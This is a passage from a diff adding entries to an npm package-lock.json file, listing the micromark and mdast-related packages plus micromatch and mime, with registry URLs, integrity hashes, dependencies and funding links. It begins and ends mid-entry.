"sha512-WmI1gTXUBJo4/ZmSk79Wcb2HcjPJBzM1nlI/OUWA8yk2X9ik3ffNbBGsU+09BFmXaL1IBb9fiuvq6/KMiNycSg==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "unist-util-is": "^5.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast": { + "version": "12.3.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-12.3.0.tgz", + "integrity": "sha512-pits93r8PhnIoU4Vy9bjW39M2jJ6/tdHyja9rrot9uujkN7UTU9SDnE6WNJz/IGyQk3XHX6yNNtrBH6cQzm8Hw==", + "dev": true, + "dependencies": { + "@types/hast": "^2.0.0", + "@types/mdast": "^3.0.0", + "mdast-util-definitions": "^5.0.0", + "micromark-util-sanitize-uri": "^1.1.0", + "trim-lines": "^3.0.0", + "unist-util-generated": "^2.0.0", + "unist-util-position": "^4.0.0", + "unist-util-visit": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-1.5.0.tgz", + "integrity": "sha512-bbv7TPv/WC49thZPg3jXuqzuvI45IL2EVAr/KxF0BSdHsU0ceFHOmwQn6evxAh1GaoK/6GQ1wp4R4oW2+LFL/A==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "longest-streak": "^3.0.0", + "mdast-util-phrasing": "^3.0.0", + "mdast-util-to-string": "^3.0.0", + "micromark-util-decode-string": "^1.0.0", + "unist-util-visit": "^4.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-3.2.0.tgz", + "integrity": "sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdn-data": { + "version": "2.0.28", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz", + "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==", + "dev": true + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromark": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-3.2.0.tgz", + "integrity": "sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "micromark-core-commonmark": "^1.0.1", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-chunked": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-encode": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-sanitize-uri": "^1.0.0", + "micromark-util-subtokenize": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.1", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-1.1.0.tgz", + "integrity": "sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-factory-destination": "^1.0.0", + "micromark-factory-label": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-factory-title": "^1.0.0", + "micromark-factory-whitespace": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-chunked": "^1.0.0", + "micromark-util-classify-character": "^1.0.0", + "micromark-util-html-tag-name": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-subtokenize": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.1", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-extension-frontmatter": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/micromark-extension-frontmatter/-/micromark-extension-frontmatter-1.1.1.tgz", + "integrity": "sha512-m2UH9a7n3W8VAH9JO9y01APpPKmNNNs71P0RbknEmYSaZU5Ghogv38BYO94AI5Xw6OYfxZRdHZZ2nYjs/Z+SZQ==", + "dev": true, + "dependencies": { + "fault": "^2.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-2.0.3.tgz", + "integrity": "sha512-vb9OoHqrhCmbRidQv/2+Bc6pkP0FrtlhurxZofvOEy5o8RtuuvTq+RQ1Vw5ZDNrVraQZu3HixESqbG+0iKk/MQ==", + "dev": true, + "dependencies": { + "micromark-extension-gfm-autolink-literal": "^1.0.0", + "micromark-extension-gfm-footnote": "^1.0.0", + "micromark-extension-gfm-strikethrough": "^1.0.0", + "micromark-extension-gfm-table": "^1.0.0", + "micromark-extension-gfm-tagfilter": "^1.0.0", + "micromark-extension-gfm-task-list-item": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-1.0.5.tgz", + "integrity": "sha512-z3wJSLrDf8kRDOh2qBtoTRD53vJ+CWIyo7uyZuxf/JAbNJjiHsOpG1y5wxk8drtv3ETAHutCu6N3thkOOgueWg==", + "dev": true, + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-sanitize-uri": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-footnote": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-1.1.2.tgz", + "integrity": "sha512-Yxn7z7SxgyGWRNa4wzf8AhYYWNrwl5q1Z8ii+CSTTIqVkmGZF1CElX2JI8g5yGoM3GAman9/PVCUFUSJ0kB/8Q==", + "dev": true, + "dependencies": { + "micromark-core-commonmark": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-sanitize-uri": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-strikethrough": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-1.0.7.tgz", + "integrity": "sha512-sX0FawVE1o3abGk3vRjOH50L5TTLr3b5XMqnP9YDRb34M0v5OoZhG+OHFz1OffZ9dlwgpTBKaT4XW/AsUVnSDw==", + "dev": true, + "dependencies": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-classify-character": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-table": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-1.0.7.tgz", + "integrity": "sha512-3ZORTHtcSnMQEKtAOsBQ9/oHp9096pI/UvdPtN7ehKvrmZZ2+bbWhi0ln+I9drmwXMt5boocn6OlwQzNXeVeqw==", + "dev": true, + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-tagfilter": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-1.0.2.tgz", + "integrity": "sha512-5XWB9GbAUSHTn8VPU8/1DBXMuKYT5uOgEjJb8gN3mW0PNW5OPHpSdojoqf+iq1xo7vWzw/P8bAHY0n6ijpXF7g==", + "dev": true, + "dependencies": { + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-task-list-item": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-1.0.5.tgz", + "integrity": "sha512-RMFXl2uQ0pNQy6Lun2YBYT9g9INXtWJULgbt01D/x8/6yJ2qpKyzdZD3pi6UIkzF++Da49xAelVKUeUMqd5eIQ==", + "dev": true, + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdx-expression": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-1.0.8.tgz", + "integrity": "sha512-zZpeQtc5wfWKdzDsHRBY003H2Smg+PUi2REhqgIhdzAa5xonhP03FcXxqFSerFiNUr5AWmHpaNPQTBVOS4lrXw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/estree": "^1.0.0", + "micromark-factory-mdx-expression": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-events-to-acorn": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-extension-mdx-jsx": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-1.0.5.tgz", + "integrity": "sha512-gPH+9ZdmDflbu19Xkb8+gheqEDqkSpdCEubQyxuz/Hn8DOXiXvrXeikOoBA71+e8Pfi0/UYmU3wW3H58kr7akA==", + "dev": true, + "dependencies": { + "@types/acorn": "^4.0.0", + "@types/estree": "^1.0.0", + "estree-util-is-identifier-name": "^2.0.0", + "micromark-factory-mdx-expression": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdx-md": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/micromark-extension-mdx-md/-/micromark-extension-mdx-md-1.0.1.tgz", + "integrity": "sha512-7MSuj2S7xjOQXAjjkbjBsHkMtb+mDGVW6uI2dBL9snOBCbZmoNgDAeZ0nSn9j3T42UE/g2xVNMn18PJxZvkBEA==", + "dev": true, + "dependencies": { + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs/-/micromark-extension-mdxjs-1.0.1.tgz", + "integrity": "sha512-7YA7hF6i5eKOfFUzZ+0z6avRG52GpWR8DL+kN47y3f2KhxbBZMhmxe7auOeaTBrW2DenbbZTf1ea9tA2hDpC2Q==", + "dev": true, + "dependencies": { + "acorn": "^8.0.0", + "acorn-jsx": "^5.0.0", + "micromark-extension-mdx-expression": "^1.0.0", + "micromark-extension-mdx-jsx": "^1.0.0", + "micromark-extension-mdx-md": "^1.0.0", + "micromark-extension-mdxjs-esm": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "micromark-util-types": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs-esm": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-1.0.5.tgz", + "integrity": "sha512-xNRBw4aoURcyz/S69B19WnZAkWJMxHMT5hE36GtDAyhoyn/8TuAeqjFJQlwk+MKQsUD7b3l7kFX+vlfVWgcX1w==", + "dev": true, + "dependencies": { + "@types/estree": "^1.0.0", + "micromark-core-commonmark": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-events-to-acorn": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "unist-util-position-from-estree": "^1.1.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-factory-destination": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-1.1.0.tgz", + "integrity": "sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-1.1.0.tgz", + "integrity": "sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-factory-mdx-expression": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/micromark-factory-mdx-expression/-/micromark-factory-mdx-expression-1.0.9.tgz", + "integrity": "sha512-jGIWzSmNfdnkJq05c7b0+Wv0Kfz3NJ3N4cBjnbO4zjXIlxJr+f8lk+5ZmwFvqdAbUy2q6B5rCY//g0QAAaXDWA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/estree": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-events-to-acorn": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "unist-util-position-from-estree": "^1.0.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + } + }, + "node_modules/micromark-factory-space": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-1.1.0.tgz", + "integrity": "sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-1.1.0.tgz", + "integrity": "sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-1.1.0.tgz", + "integrity": "sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-1.2.0.tgz", + "integrity": "sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-1.1.0.tgz", + "integrity": "sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-1.1.0.tgz", + "integrity": "sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-1.1.0.tgz", + "integrity": "sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-1.1.0.tgz", + "integrity": "sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-decode-string": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-1.1.0.tgz", + "integrity": "sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-1.1.0.tgz", + "integrity": "sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-events-to-acorn": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/micromark-util-events-to-acorn/-/micromark-util-events-to-acorn-1.2.3.tgz", + "integrity": "sha512-ij4X7Wuc4fED6UoLWkmo0xJQhsktfNh1J0m8g4PbIMPlx+ek/4YdW5mvbye8z/aZvAPUoxgXHrwVlXAPKMRp1w==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "@types/acorn": "^4.0.0", + "@types/estree": "^1.0.0", + "@types/unist": "^2.0.0", + "estree-util-visit": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + } + }, + "node_modules/micromark-util-html-tag-name": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-1.2.0.tgz", + "integrity": "sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-1.1.0.tgz", + "integrity": "sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-1.1.0.tgz", + "integrity": "sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-1.2.0.tgz", + "integrity": "sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-encode": "^1.0.0", + "micromark-util-symbol": "^1.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-1.1.0.tgz", + "integrity": "sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-1.1.0.tgz", + "integrity": "sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromark-util-types": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-1.1.0.tgz", + "integrity": "sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ] + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-3.0.0.tgz", + "integrity": 